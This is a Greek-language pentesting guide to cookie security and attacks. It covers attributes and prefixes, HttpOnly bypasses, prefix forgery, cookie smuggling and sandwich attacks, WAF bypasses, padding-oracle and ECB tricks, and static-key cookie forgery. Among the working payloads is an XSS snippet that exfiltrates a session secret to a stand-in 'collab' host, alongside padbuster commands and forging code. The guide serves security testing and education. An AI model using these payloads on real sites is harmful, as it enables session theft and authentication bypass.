Cookies Hacking

Reading time: 22 minutes

Cookie Attributes

Τα Cookies συνοδεύονται από διάφορα attributes που ελέγχουν τη συμπεριφορά τους στον browser του χρήστη. Ακολουθεί μια επισκόπηση αυτών των attributes με πιο παθητική διατύπωση:

Expires and Max-Age

Η ημερομηνία λήξης ενός cookie καθορίζεται από το Expires attribute. Αντίθετα, το attribute Max-age ορίζει τον χρόνο σε δευτερόλεπτα μέχρι να διαγραφεί ένα cookie. Προτιμήστε το Max-age καθώς αντανακλά πιο σύγχρονες πρακτικές.

Domain

Οι hosts που θα λάβουν ένα cookie καθορίζονται από το Domain attribute. Από προεπιλογή, αυτό είναι ρυθμισμένο στον host που εξέδωσε το cookie, χωρίς να περιλαμβάνονται τα subdomains. Ωστόσο, όταν το Domain attribute ορίζεται ρητά, περιλαμβάνει και τα subdomains. Αυτό καθιστά την καθορισμένη χρήση του Domain attribute μια λιγότερο περιοριστική επιλογή, χρήσιμη όταν απαιτείται κοινή χρήση cookie μεταξύ subdomains. Για παράδειγμα, το Domain=mozilla.org κάνει τα cookies προσβάσιμα στα subdomains όπως το developer.mozilla.org.

Path

Το Path attribute υποδεικνύει μια συγκεκριμένη διαδρομή URL που πρέπει να υπάρχει στο ζητούμενο URL για να σταλεί το header Cookie. Αυτό το attribute θεωρεί τον χαρακτήρα / ως διαχωριστικό φακέλων, επιτρέποντας επίσης αντιστοιχίσεις σε υποκαταλόγους.

Ordering Rules

Όταν δύο cookies έχουν το ίδιο όνομα, αυτό που επιλέγεται για αποστολή βασίζεται σε:

• Το cookie που ταιριάζει με το μεγαλύτερο path στο ζητούμενο URL.
• Το πιο πρόσφατα ορισμένο cookie αν τα paths είναι ίδια.

SameSite

• Το SameSite attribute καθορίζει αν τα cookies αποστέλλονται σε αιτήματα που προέρχονται από third-party domains. Προσφέρει τρεις ρυθμίσεις:
• Strict: Περιορίζει το cookie από το να σταλεί σε third-party αιτήματα.
• Lax: Επιτρέπει στο cookie να σταλεί με GET αιτήματα που ξεκινούν από third-party ιστοσελίδες.
• None: Επιτρέπει στο cookie να σταλεί από οποιοδήποτε third-party domain.

Θυμηθείτε, κατά τη ρύθμιση των cookies, η κατανόηση αυτών των attributes βοηθά ώστε να συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια.

Table from Invicti and slightly modified.
Ένα cookie με το SameSite attribute θα μειώσει τις CSRF επιθέσεις όταν απαιτείται ενεργή σύνδεση.

*Σημειώστε ότι από το Chrome80 (feb/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς cookie samesite attribute θα είναι lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα cookies χωρίς SameSite policy στο Chrome θα αντιμετωπίζονται ως None κατά τα πρώτα 2 λεπτά και στη συνέχεια ως Lax για top-level cross-site POST request.

Cookies Flags

HttpOnly

Αυτό εμποδίζει τον client από το να έχει πρόσβαση στο cookie (μέσω Javascript για παράδειγμα: document.cookie)

Bypasses

• Εάν η σελίδα επιστρέφει τα cookies στην απάντηση ενός αιτήματος (π.χ. σε μια σελίδα PHPinfo), είναι δυνατό να εκμεταλλευτείτε ένα XSS για να στείλετε αίτημα σε αυτήν τη σελίδα και να κλέψετε τα cookies από την απάντηση (δείτε ένα παράδειγμα στο https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Αυτό μπορεί να παρακαμφθεί με TRACE HTTP requests καθώς η απάντηση από τον server (αν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντικατοπτρίζει τα αποσταλμένα cookies. Αυτή η τεχνική ονομάζεται Cross-Site Tracking.
• Η τεχνική αυτή αποφεύγεται από μοντέρνους browsers που δεν επιτρέπουν την αποστολή TRACE από JS. Ωστόσο, έχουν βρεθεί bypasses σε συγκεκριμένο λογισμικό, όπως η αποστολή \r\nTRACE αντί για TRACE στο IE6.0 SP2.
• Άλλη μέθοδος είναι η εκμετάλλευση zero/day ευπαθειών των browsers.
• Είναι δυνατό να επικαλυφθούν HttpOnly cookies εκτελώντας μια επίθεση Cookie Jar overflow:

Cookie Jar Overflow

• Είναι επίσης δυνατό να χρησιμοποιηθεί επίθεση Cookie Smuggling για την εξαγωγή αυτών των cookies
• Εάν κάποιο server-side endpoint εμφανίζει το ακατέργαστο session ID στην HTTP απάντηση (π.χ. μέσα σε σχόλια HTML ή σε debug block), μπορείτε να παρακάμψετε το HttpOnly χρησιμοποιώντας ένα XSS gadget για να κάνετε fetch σε αυτό το endpoint, να αναλύσετε με regex το secret και να το εξάγετε. Παράδειγμα προτύπου XSS payload:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Το αίτημα θα στείλει το cookie μόνο σε ένα HTTP request αν το αίτημα αποσταλεί μέσω ασφαλούς καναλιού (συνήθως HTTPS).

Πρόθεματα Cookies

Cookies με πρόθεμα __Secure- απαιτείται να ορίζονται μαζί με τη σημαία secure από σελίδες που προστατεύονται από HTTPS.

Για cookies με πρόθεμα __Host-, πρέπει να πληρούνται αρκετές προϋποθέσεις:

• Πρέπει να ορίζονται με τη σημαία secure.
• Πρέπει να προέρχονται από σελίδα που προστατεύεται από HTTPS.
• Απαγορεύεται να καθορίζουν domain, εμποδίζοντας τη μετάδοσή τους σε υποτομείς.
• Το path για αυτά τα cookies πρέπει να είναι /.

Είναι σημαντικό να σημειωθεί ότι cookies με πρόθεμα __Host- δεν επιτρέπεται να αποστέλλονται σε superdomains ή subdomains. Ο περιορισμός αυτός βοηθά στην απομόνωση των cookies εφαρμογής. Συνεπώς, η χρήση του προθέματος __Host- για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης.

Επανεγγραφή cookies

Έτσι, μία από τις προστασίες των cookies με πρόθεμα __Host- είναι να αποτρέπει την αντικατάστασή τους από υποτομείς. Αποτρέπει, για παράδειγμα, Cookie Tossing attacks. Στην ομιλία Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) παρουσιάστηκε ότι ήταν δυνατόν να οριστούν __HOST- prefixed cookies από υποτομέα, εξαπατώντας τον parser, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:

Ή σε PHP ήταν δυνατό να προστεθούν άλλοι χαρακτήρες στην αρχή του ονόματος του cookie που επρόκειτο να αντικατασταθούν από χαρακτήρες underscore, επιτρέποντας την αντικατάσταση των __HOST- cookies:

Unicode whitespace cookie-name smuggling (prefix forgery)

Εκμετάλλευση διαφορών στον τρόπο που ο browser και ο server κάνουν parsing, προσθέτοντας ένα Unicode whitespace code point στην αρχή του ονόματος του cookie. Ο browser δεν θα θεωρήσει ότι το όνομα ξεκινά κυριολεκτικά με __Host-/__Secure-, οπότε επιτρέπει τον ορισμό από υποτομέα. Εάν το backend περικόψει/κανονικοποιήσει τα αρχικά Unicode whitespace στα cookie keys, θα δει το προστατευμένο όνομα και μπορεί να αντικαταστήσει το υψηλών δικαιωμάτων cookie.

• PoC from a subdomain that can set parent-domain cookies:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Τυπική συμπεριφορά του backend που επιτρέπει το ζήτημα:

• Frameworks που trim/normalize cookie keys. Στο Django, η Python’s str.strip() αφαιρεί ένα ευρύ φάσμα Unicode whitespace code points, με αποτέλεσμα το όνομα να κανονικοποιείται σε __Host-name.

• Συνήθως περικοπτόμενα code points περιλαμβάνουν: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Πολλά frameworks επιλύουν duplicate cookie names ως “last wins”, οπότε η attacker-controlled normalized cookie value αντικαθιστά την νόμιμη.

• Διαφορές ανά browsers έχουν σημασία:

• Το Safari μπλοκάρει multibyte Unicode whitespace σε cookie names (π.χ. απορρίπτει U+2000) αλλά εξακολουθεί να επιτρέπει τα single-byte U+0085 και U+00A0, τα οποία πολλά backends περικόπτουν. Δοκιμάστε cross-browser.

• Impact: Επιτρέπει το overwriting των __Host-/__Secure- cookies από λιγότερο-trusted contexts (subdomains), το οποίο μπορεί να οδηγήσει σε XSS (αν είναι reflected), CSRF token override, και session fixation.

• On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Πολλά backends split/parse και στη συνέχεια περικόπτουν, με αποτέλεσμα το κανονικοποιημένο __Host-name να παίρνει την τιμή του επιτιθέμενου.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Κάποιες Java stacks (π.χ., Tomcat/Jetty-style) εξακολουθούν να ενεργοποιούν την legacy RFC 2109/2965 parsing όταν το header Cookie ξεκινά με $Version=1. Αυτό μπορεί να οδηγήσει τον server να επαναερμηνεύσει ένα μοναδικό string cookie ως πολλαπλά λογικά cookies και να αποδεχτεί μια παραποιημένη __Host- εγγραφή που αρχικά είχε οριστεί από ένα subdomain ή ακόμη και από μη ασφαλές origin.

• PoC forcing legacy parsing:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Γιατί λειτουργεί:

• Οι client-side έλεγχοι προθέματος εφαρμόζονται κατά το set, αλλά το server-side legacy parsing στη συνέχεια χωρίζει και κανονικοποιεί την κεφαλίδα, παρακάμπτοντας την πρόθεση των εγγυήσεων προθεμάτων __Host-/__Secure-.

• Πού να δοκιμάσετε: Tomcat, Jetty, Undertow, ή frameworks που εξακολουθούν να τηρούν τα attributes των RFC 2109/2965. Συνδυάστε με duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

Όταν δύο cookies κανονικοποιούνται στο ίδιο όνομα, πολλοί backends (συμπεριλαμβανομένου του Django) χρησιμοποιούν την τελευταία εμφάνιση. Αφού το smuggling/legacy-splitting παράγει δύο __Host-* ονόματα, το attacker-controlled συνήθως κερδίζει.

Detection and tooling

Χρησιμοποιήστε Burp Suite για να ερευνήσετε αυτές τις συνθήκες:

• Δοκιμάστε πολλούς αρχικούς Unicode whitespace code points: U+2000, U+0085, U+00A0 και παρατηρήστε αν ο backend τα περικόπτει και θεωρεί το όνομα προθεματισμένο.
• Στείλτε $Version=1 πρώτο στην Cookie header και ελέγξτε αν ο backend εκτελεί legacy splitting/normalization.
• Παρατηρήστε την επίλυση duplicate-name (first vs last wins) εισάγοντας δύο cookies που κανονικοποιούνται στο ίδιο όνομα.
• Burp Custom Action για αυτοματοποίηση: CookiePrefixBypass.bambda

Συμβουλή: Αυτές οι τεχνικές εκμεταλλεύονται το octet-vs-string gap του RFC 6265: τα browsers στέλνουν bytes· οι servers αποκωδικοποιούν και μπορεί να κανονικοποιήσουν/περικόψουν. Οι αποκλίσεις στην αποκωδικοποίηση και στην κανονικοποίηση είναι ο πυρήνας της παράκαμψης.

Cookies Attacks

Αν ένα custom cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ειδικά αν παίζετε σε CTF), καθώς μπορεί να είναι ευάλωτο.

Αποκωδικοποίηση και Τροποποίηση Cookies

Τα ευαίσθητα δεδομένα ενσωματωμένα σε cookies πρέπει πάντα να εξετάζονται προσεκτικά. Cookies κωδικοποιημένα σε Base64 ή παρόμοιες μορφές συχνά μπορούν να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει σε attackers να τροποποιήσουν το περιεχόμενο του cookie και να προσποιηθούν άλλους χρήστες, κωδικοποιώντας ξανά τα τροποποιημένα δεδομένα μέσα στο cookie.

Session Hijacking

Αυτή η επίθεση περιλαμβάνει την κλοπή του cookie ενός χρήστη για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό του μέσα στην εφαρμογή. Χρησιμοποιώντας το κλεμμένο cookie, ένας attacker μπορεί να προσποιηθεί τον νόμιμο χρήστη.

Session Fixation

Σε αυτό το σενάριο, ένας attacker ξεγελάει ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Εάν η εφαρμογή δεν εκχωρήσει νέο cookie κατά τη σύνδεση, ο attacker, κατέχοντας το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική στηρίζεται στο ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον attacker.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Εδώ, ο attacker πείθει το θύμα να χρησιμοποιήσει το session cookie του attacker. Το θύμα, πιστεύοντας ότι είναι συνδεδεμένο στον δικό του λογαριασμό, άθελά του θα εκτελεί ενέργειες στο πλαίσιο του λογαριασμού του attacker.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Κάντε κλικ στον προηγούμενο σύνδεσμο για να ανοίξετε σελίδα που εξηγεί πιθανές ευπάθειες στο JWT.

Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορούν επίσης να παρουσιάσουν ευπάθειες. Για λεπτομερή πληροφορία σχετικά με πιθανές ευπάθειες και πώς να τις εκμεταλλευτείτε, συνιστάται να διαβάσετε το συνδεδεμένο έγγραφο για το hacking JWT.

Cross-Site Request Forgery (CSRF)

Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μία web εφαρμογή στην οποία είναι πιστοποιημένος. Attackers μπορούν να εκμεταλλευτούν cookies που αποστέλλονται αυτόματα με κάθε αίτημα προς τον ευάλωτο ιστότοπο.

Empty Cookies

(Έλεγχος περαιτέρω λεπτομερειών στοoriginal research) Τα browsers επιτρέπουν τη δημιουργία cookies χωρίς όνομα, κάτι που μπορεί να επιδειχθεί μέσω JavaScript ως εξής:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Το αποτέλεσμα στην αποστελλόμενη cookie header είναι a=v1; test value; b=v2;. Ενδιαφέρον είναι ότι αυτό επιτρέπει τη χειραγώγηση των cookies αν οριστεί cookie με κενό όνομα, ενδεχομένως ελέγχοντας άλλα cookies θέτοντας το κενό cookie σε μια συγκεκριμένη τιμή:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Αυτό οδηγεί το πρόγραμμα περιήγησης στο να στείλει ένα cookie header που ερμηνεύεται από κάθε web server ως cookie με όνομα a και τιμή b.

Σφάλμα Chrome: Ζήτημα Unicode Surrogate Codepoint

Στον Chrome, αν ένας Unicode surrogate codepoint αποτελεί μέρος ενός set cookie, το document.cookie καταστρέφεται και στη συνέχεια επιστρέφει μια κενή συμβολοσειρά:

document.cookie = "\ud800=meep"

Αυτό έχει ως αποτέλεσμα το document.cookie να επιστρέφει μια κενή συμβολοσειρά, υποδηλώνοντας μόνιμη αλλοίωση.

Cookie Smuggling Due to Parsing Issues

(Check further details in theoriginal research) Πολλοί web servers, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις σειρές cookie λόγω παρωχημένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie περικλεισμένη σε διπλά εισαγωγικά ως μία ενιαία τιμή, ακόμη και αν περιλαμβάνει άνω και κάτω τελείες (semicolons), οι οποίες κανονικά θα πρέπει να διαχωρίζουν ζεύγη κλειδιού-τιμής:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Ευπάθειες εισαγωγής Cookie

(Δείτε περισσότερες λεπτομέρειες στοoriginal research) Η εσφαλμένη ανάλυση των cookies από servers, ιδίως Undertow, Zope και συστήματα που χρησιμοποιούν της Python τα http.cookie.SimpleCookie και http.cookie.BaseCookie, δημιουργεί ευκαιρίες για cookie injection επιθέσεις. Αυτοί οι servers αποτυγχάνουν να οριοθετήσουν σωστά την αρχή νέων cookies, επιτρέποντας σε επιτιθέμενους να πλαστογραφήσουν cookies:

• Ο Undertow αναμένει νέο cookie αμέσως μετά από μια τιμή σε εισαγωγικά χωρίς άνω τελεία.
• Ο Zope αναζητά ένα κόμμα για να ξεκινήσει την ανάλυση του επόμενου cookie.
• Οι κλάσεις cookie της Python ξεκινούν την ανάλυση από έναν χαρακτήρα κενό (space).

Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web εφαρμογές που βασίζονται σε cookie για προστασία CSRF, καθώς επιτρέπει σε επιτιθέμενους να εγχύσουν πλαστογραφημένα CSRF-token cookies, πιθανόν παρακάμπτοντας μέτρα ασφαλείας. Το ζήτημα επιδεινώνεται από τον τρόπο που η Python χειρίζεται διπλότυπα ονόματα cookie, όπου η τελευταία εμφάνιση υπερισχύει των προηγούμενων. Επίσης εγείρει ανησυχίες για τα __Secure- και __Host- cookies σε μη ασφαλές περιβάλλον και μπορεί να οδηγήσει σε παράκαμψη εξουσιοδότησης όταν cookies προωθούνται σε back-end servers ευάλωτους σε spoofing.

Cookies $version

WAF Bypass

Σύμφωνα με this blogpost, μπορεί να είναι δυνατό να χρησιμοποιηθεί το attribute cookie $Version=1 ώστε το backend να χρησιμοποιήσει παλαιότερη λογική για την ανάλυση του cookie λόγω του RFC2109. Επιπλέον, άλλες τιμές όπως $Domain και $Path μπορούν να χρησιμοποιηθούν για να τροποποιήσουν τη συμπεριφορά του backend σε σχέση με το cookie.

Cookie Sandwich Attack

Σύμφωνα με this blogpost είναι δυνατό να χρησιμοποιηθεί η τεχνική cookie sandwich για να κλαπούν HttpOnly cookies. Αυτές είναι οι απαιτήσεις και τα βήματα:

• Βρείτε ένα σημείο όπου ένα προφανώς άχρηστο cookie αντικατοπτρίζεται στην απάντηση
• Δημιουργήστε ένα cookie με όνομα $Version με τιμή 1 (μπορείτε να το κάνετε αυτό σε μια XSS επίθεση από JS) με ένα πιο συγκεκριμένο path ώστε να πάρει την αρχική θέση (κάποια frameworks όπως η python δεν χρειάζονται αυτό το βήμα)
• Δημιουργήστε το cookie που αντικατοπτρίζεται με μια τιμή που αφήνει ένα ανοιχτό διπλό εισαγωγικό και με συγκεκριμένο path ώστε να τοποθετηθεί στη βάση δεδομένων των cookie μετά το προηγούμενο ($Version)
• Τότε, το νόμιμο cookie θα μπει στην επόμενη θέση της σειράς
• Δημιουργήστε ένα dummy cookie που κλείνει τα διπλά εισαγωγικά μέσα στην τιμή του

Με αυτόν τον τρόπο το cookie του θύματος παγιδεύεται μέσα στη νέα έκδοση cookie $Version=1 και θα ανακλάται όποτε αντικατοπτρίζεται. π.χ. από το post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Δείτε την προηγούμενη ενότητα.

Bypassing value analysis with quoted-string encoding

Αυτή η διαδικασία parsing υποδεικνύει να γίνει unescape των escaped τιμών μέσα στα cookies, οπότε "\a" γίνεται "a". Αυτό μπορεί να είναι χρήσιμο για να παρακαμφθούν WAFs όπως:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

Στο RFC2109 αναφέρεται ότι ένα comma μπορεί να χρησιμοποιηθεί ως separator μεταξύ cookie values. Επίσης είναι δυνατό να προστεθούν spaces και tabs πριν και μετά το =. Επομένως ένα cookie όπως $Version=1; foo=bar, abc = qux δεν δημιουργεί το cookie "foo":"bar, admin = qux" αλλά τα cookies "foo":"bar" και "admin":"qux". Σημειώστε πώς δημιουργούνται 2 cookies και πώς το admin έχασε το κενό πριν και μετά το =.

Bypassing value analysis with cookie splitting

Τέλος, διάφορα backdoors θα ενώσουν σε ένα string διαφορετικά cookies που στέλνονται σε διαφορετικά cookie headers όπως στο:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Το οποίο θα μπορούσε να επιτρέψει το bypass ενός WAF όπως στο παρακάτω παράδειγμα:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Extra Vulnerable Cookies Checks

Basic checks

• Το cookie είναι το ίδιο κάθε φορά που κάνεις login.
• Κάνε log out και προσπάθησε να χρησιμοποιήσεις το ίδιο cookie.
• Προσπάθησε να κάνεις log in με 2 devices (ή browsers) στον ίδιο account χρησιμοποιώντας το ίδιο cookie.
• Έλεγξε αν το cookie περιέχει κάποια πληροφορία και προσπάθησε να την τροποποιήσεις.
• Δημιούργησε αρκετά accounts με σχεδόν ίδιο username και έλεγξε αν βλέπεις ομοιότητες.
• Έλεγξε την "remember me" επιλογή αν υπάρχει για να δεις πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποίησε πάντα μόνο το cookie του remember me χωρίς κανένα άλλο cookie.
• Έλεγξε αν το προηγούμενο cookie λειτουργεί ακόμα μετά την αλλαγή του password.

Advanced cookies attacks

Αν το cookie παραμένει ίδιο (ή σχεδόν) όταν κάνεις log in, αυτό πιθανώς σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του account σου (πιθανώς το username). Τότε μπορείς:

• Προσπάθησε να δημιουργήσεις πολλά accounts με πολύ παρόμοια usernames και προσπάθησε να μαντέψεις πώς λειτουργεί ο αλγόριθμος.
• Προσπάθησε να bruteforce the username. Αν το cookie χρησιμεύει μόνο ως μέθοδος authentication για το username σου, τότε μπορείς να δημιουργήσεις έναν account με username "Bmin" και να bruteforce κάθε single bit του cookie σου, γιατί ένα από τα cookies που θα δοκιμάσεις θα είναι αυτό που ανήκει στον "admin".
• Δοκίμασε Padding Oracle (μπορείς να αποκρυπτογραφήσεις το περιεχόμενο του cookie). Χρησιμοποίησε padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια κατάσταση είναι η κατάσταση σφάλματος (η οποία δεν είναι έγκυρη).

Στη συνέχεια θα ξεκινήσει το decrypting του cookie (μπορεί να χρειαστούν μερικά λεπτά)

Εάν η attack έχει εκτελεστεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να encrypt μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλετε να encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Αυτή η εκτέλεση θα σου δώσει το cookie σωστά κρυπτογραφημένο και κωδικοποιημένο με τη συμβολοσειρά user=administrator μέσα.

CBC-MAC

Ίσως ένα cookie να έχει κάποια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Τότε, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται με χρήση CBC πάνω στην ίδια την τιμή. Εφόσον συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τρόπος ελέγχου ακεραιότητας μπορεί να είναι ευάλωτος.

The attack

1. Πάρε την υπογραφή για το όνομα χρήστη administ = t
2. Πάρε την υπογραφή για το όνομα χρήστη rator\x00\x00\x00 XOR t = t'
3. Θέσε στο cookie την τιμή administrator+t' (t' θα είναι μια έγκυρη υπογραφή του (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

If the cookie is encrypted using ECB it could be vulnerable.
Κατά τη σύνδεση, το cookie που λαμβάνεις πρέπει να είναι πάντα το ίδιο.

How to detect and attack:

• Δημιούργησε 2 users με σχεδόν τα ίδια δεδομένα (username, password, email, κ.λπ.) και προσπάθησε να ανακαλύψεις κάποιο pattern μέσα στο δοθέν cookie
• Δημιούργησε έναν user, για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και έλεγξε αν υπάρχει κάποιο pattern στο cookie (καθώς το ECB κρυπτογραφεί με το ίδιο key κάθε block, τα ίδια κρυπτογραφημένα bytes μπορούν να εμφανιστούν αν κρυπτογραφείται το username).

Θα υπάρχει ένα μοτίβο (στο μέγεθος ενός χρησιμοποιούμενου block). Έτσι, γνωρίζοντας πώς κρυπτογραφείται μια σειρά από "a" μπορείς να δημιουργήσεις ένα username: "a"*(size of the block)+"admin". Έπειτα, μπορείς να διαγράψεις το κρυπτογραφημένο μοτίβο ενός block από "a" από το cookie. Και θα έχεις το cookie του username "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

• Εντόπισε το/τα cookie που gate την auth, π.χ. COOKIEID και ADMINCOOKIEID.
• Καθόρισε cipher/encoding. Σε ένα πραγματικό παράδειγμα η εφαρμογή χρησιμοποίησε IDEA με ένα constant 16-byte key και επέστρεψε το ciphertext ως hex.
• Επαλήθευσε κρυπτογραφώντας το δικό σου user ID και συγκρίνοντας με το εκδοθέν cookie. Αν ταιριάζει, μπορείς να mint cookies για οποιοδήποτε target ID (1 συχνά αντιστοιχεί στον πρώτο admin).
• Όρισε την forged τιμή απευθείας ως cookie και πλοηγήσου — δεν χρειάζονται credentials.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Αναφορές

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda